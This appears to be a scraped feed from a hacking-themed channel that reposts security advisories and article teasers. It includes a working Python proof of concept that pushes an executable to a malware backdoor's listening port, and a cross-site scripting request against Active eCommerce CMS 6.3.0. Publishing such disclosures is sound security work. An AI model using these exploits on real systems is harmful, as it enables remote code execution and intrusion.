Exploit Collector
Backdoor.Win32.Augudor.b MVID-2022-0644 Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Backdoor.Win32.Augudor.b malware suffers from a code execution vulnerability.

SHA-256 | eb63fba65d43437a287680fff71157dd2127d980055e141a70d67d2a9e75bbe9

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/94ccd337cbdd4efbbcc0a6c888abb87d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.b
Vulnerability: Remote File Write Code Execution
Description: The malware drops an empty file named "zy.exe" and listens on TCP port 810. Third-party adversaries who can reach the infected host can write executable code to the empty "zy.exe" file on the system via a socket program and it will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.
Family: Augudor
Type: PE32
MD5: 94ccd337cbdd4efbbcc0a6c888abb87d
Vuln ID: MVID-2022-0644
Dropped files: zy.exe
Disclosure: 09/25/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=810
DOOM="DOOM_SM.exe" #880 bytes

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Active eCommerce CMS 6.3.0 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Active eCommerce CMS version 6.3.0 suffers from a cross site scripting vulnerability.

SHA-256 | f51e5c579856d6d8fa09e372f8f6b12ff91605bb22a15f16b8caa488351dcb3f

Download
# Exploit Title: Active eCommerce CMS Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405
# Version: Version 6.3.0
# Tested on Ubuntu 18.04
-------Request-----------
POST /ajax-search HTTP/1.1
Host: localhost
Content-Length: 117
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663797922828%7D; TawkConnectionTime=0; XSRF-TOKEN=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB; active_ecommerce_cms_session=zQGudzxBZLEDymY6TvM4yDEKrxTAQJ7FAVIAQEBU
Connection: close

_token=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB&search=%3Cscript%3Ealert(%22oh+bought+the+happines%22)%3C%2Fscript%3E

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Atacantes de Ransomware BlackCat detectados ajustando su arsenal de malware

https://cdn-images-1.medium.com/max/1119/0*QfzwGSWkyumR6fH4
El equipo de ransomware BlackCat ha sido visto ajustando su arsenal de malware para pasar desapercibido y expandir su alcance.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Be careful when using .env files

https://cdn-images-1.medium.com/max/1048/1*F3L-t0PFwOQ3mvqUXGjGJQ.png
Not even within 24 hours, a recently launched website was being sniffed for secrets. A bot was searching for a .env file where some…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Lazy HackTheBox

https://cdn-images-1.medium.com/max/1181/0*3c0bJ1VdDkjOw1Pt.png
Introduction

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Game Hacker How To Hack Games On Android&iOS? — Webkiks

https://cdn-images-1.medium.com/max/2000/0*f1audA5Y_pzKdSP3.jpg
The game hacker app allows you to hack into games such as Minecraft, Terraria, and many others. Using the game hacking app, you can add…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia Planning Cyberattacks on Ukraine's Energy Grid

Ukraine military intelligence says Russia is planning cyberattacks on the country's energy sector, as well as against allies including Poland and the Baltic states.

Dark Reading: Attacks/Breaches
Cyber Threat Alliance Extends Membership to 6+ Leading Cybersecurity Companies

CTA now has 36 members headquartered in 11 countries who follow cyber activities across the world, showing cybersecurity industry members realize the value in collaboration.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are old Monitors and Smart TVs a security risk?

I was asked a question that I am unsure about. If someone uses a smart tv (usually running some flavor of android) as a monitor by connecting to it via an HDMI cable. Could there be a risk of any residual data being stored by the monitor? Is there any type of short-term memory that one should be aware of?

I am asking because an organization is considering giving away a few old smart TVs used as monitors but are concerned about security implications.

submitted by /u/videowidget
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Despite Recession Jitters, M&A Dominates a Robust Cybersecurity Market

Funding has been somewhat lower than last year, but investment remains healthy, analysts say, amid thirst for cloud security in particular.

Hacking on Medium
Brute Forcing RDP & How to Mitigate

https://cdn-images-1.medium.com/max/750/1*7b6BfVSac-IGIaJsh2JACA.jpeg
Windows Remote Desktop Protocol (RDP) is commonly used by system administrators for remote access. It enables remote display and input for…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Guacamaya: Grupo responsable de divulgar 10 teras de datos de diferentes países de Latinoamérica.

https://cdn-images-1.medium.com/max/1738/0*HnQ16s9Te5xiUKlF
Conocido como Guacamaya, este grupo de delincuentes informáticos supuestamente es el responsable de filtrar cerca de 10 Terabytes de…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ataques de Phishing modernos; Huellas dactilares en ingeniería social

https://cdn-images-1.medium.com/max/1698/0*MJXWPofZ8QT5WjjK
Las personas comparten cada vez más su información personal en línea, gracias a la rápida expansión del uso de Internet. Como resultado…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video